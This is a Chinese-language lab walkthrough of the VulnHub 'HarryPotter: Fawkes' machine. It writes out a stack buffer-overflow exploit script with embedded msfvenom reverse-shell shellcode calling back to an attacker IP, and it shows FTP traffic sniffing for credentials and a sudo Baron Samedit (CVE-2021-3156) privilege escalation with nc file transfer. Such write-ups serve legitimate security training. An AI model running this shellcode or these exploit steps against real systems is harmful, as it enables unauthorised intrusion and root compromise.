HarryPotter: Fawkes ~ VulnHub
此靶机难度高
目录
1.主机发现
2. 端口扫描
3.漏洞发现
Ftp
4.缓冲区溢出
使用edb调试server_hogwarts
攻击思路:
确定溢出位置:
5.反弹shell
构造exp
拿下靶机shell
升级shell
6.提权(信息收集)
信息收集
流量分析
提权
漏洞检测
漏洞利用
找网上的exp测试
编辑
执行
arp-scan -l
nmap -p- 192.168.56.110
nmap -A 192.168.56.110
进入主页,目录扫描→什么都没有
ftp 192.168.56.110
anonymous
密码为空 一个文件下载下来
查看文件是什么:linux的可执行程序,那就执行。
chmod +x 文件
./文件
然后就没返回东西,既然在执行,那看下进程有什么
ps aux | grep server
发现了进程,那么看看进程有没有开放别的端口服务
ss -pantu | grep server
看到开放了9898端口,和靶机上的一样
看看自己这个端口有什么:什么也没有。
nc 127.0.0.1 9898
再看看靶机的端口会有什么:和本地一样的,没有收获
kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置。所以要关闭。
cd /proc/sys/kernel
echo 0 > randomize_va_space 默认是 2
apt install edb-debugger
调试工具有gdb→命令行的工具,使用edb-debugger工具,更有利于使用
执行输入edb就可以了。
启动测试的服务。打开工具,找到服务,点击run
使用python输出500个A,然后在输入处进行测试
python -c "print('A'*500)"
结果调试器报错了,提示的0x414141意思就是 A
我们可以看到EIP寄存器都被指令414141也就是A 覆盖,ESP同样被覆盖,EIP种存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体的指令,我们修改EIP的内容,从而使指令跳转到ESP,强制执行ESP的指令。从而可以反弹shell。
使用msf的生成500字符
msf-pattern_create -l 500
生成500个不同的字符序列
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
重启edb以及服务
输入上述500字符,报错内容如下:
找到字符位置:
msf-pattern_offset -l 500 -q 64413764
偏移量为112,那么从64413764就是从113开始的
再测试一次,从113换成B 也就是42 ,后面跟C。
python -c "print('A'*112+'BBBB'+'C'*100)"
结果显而易见。
我们可以构造脚本反弹shell了
find→找到jmp esp的位置
在机器指令中,需要反向写
08049d55
\x55\x9d\x04\x08
使用msfvenom生成python的十六进制payload
其中的x86是因为我们看到文件内容写的是32位,
-b 去掉坏字符 "\x00" 不然程序会在执行到\x00时停止执行
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.43.27 LPORT=4444 -b "\x00" -f python
buf = b""
buf += b"\xbf\xab\x93\x7d\x8b\xda\xca\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04\x03\xd6\x9d\x9f"
buf += b"\x7e\x19\x79\xa8\x62\x0a\x3e\x04\x0f\xae\x49\x4b\x7f"
buf += b"\xc8\x84\x0c\x13\x4d\xa7\x32\xd9\xed\x8e\x35\x18\x85"
buf += b"\xd0\x6e\xe2\x33\xb9\x6c\x13\xaa\x65\xf8\xf2\x7c\xf3"
buf += b"\xaa\xa5\x2f\x4f\x49\xcf\x2e\x62\xce\x9d\xd8\x13\xe0"
buf += b"\x52\x70\x84\xd1\xbb\xe2\x3d\xa7\x27\xb0\xee\x3e\x46"
buf += b"\x84\x1a\x8c\x09"
其中\x90是 空指令 目的是使程序执行更加稳定。一般是4的倍数个
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xbf\xab\x93\x7d\x8b\xda\xca\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x12\x31\x7d\x12\x83\xc5\x04\x03\xd6\x9d\x9f"
buf += b"\x7e\x19\x79\xa8\x62\x0a\x3e\x04\x0f\xae\x49\x4b\x7f"
buf += b"\xc8\x84\x0c\x13\x4d\xa7\x32\xd9\xed\x8e\x35\x18\x85"
buf += b"\xd0\x6e\xe2\x33\xb9\x6c\x13\xaa\x65\xf8\xf2\x7c\xf3"
buf += b"\xaa\xa5\x2f\x4f\x49\xcf\x2e\x62\xce\x9d\xd8\x13\xe0"
buf += b"\x52\x70\x84\xd1\xbb\xe2\x3d\xa7\x27\xb0\xee\x3e\x46"
buf += b"\x84\x1a\x8c\x09"
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
s=socket.socket()
s.connect(('127.0.0.1',9898))
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
重启程序,测试exp
执行成功:
这是对本机的测试
只能使用/bin/sh -i升级shell了
看看目录:隐藏文件→有个可能是认证信息→查看
可能是密码 HarrYp0tter@Hogwarts123
拿harry和密码去登录ssh
22端口不行,还记得有个2222端口
是可行的
提权试试:发现自己在容器中
sudo -l
sudo -s 或者 sudo /bin/sh
挨个目录查看信息:意思就是让我们看看ftp流量呗
tcpdump -i eth0 port 21
等一会得到:
账号密码:neville bL!Bsg3k
成功进去
再次确定是否是docker中
sudo -l 输入刚才的密码 但是没有权限使用sudo。
内核漏洞(CVE-2021-3156)
neville@Fawkes:~$ uname -a
Linux Fawkes 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
可利用版本
CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and distributions are also likely to be exploitable.
查看靶机的版本信息:
lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
sudoedit -s '\' `perl -e 'print "A" x 65536'`
返回值:
malloc(): corrupted top size
Aborted (core dumped)
使用MSF失败了
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub
修改sudo的位置(路径)
把我本地的文件传到靶机上:
不用http服务了→使用nc命令传
靶机执行
nc -nvlp 4444 > exp.py
kali上
nc 192.168.56.110 4444 < CVE-2021-2156.py -w 1 //1秒断开
成功提权
第二个flag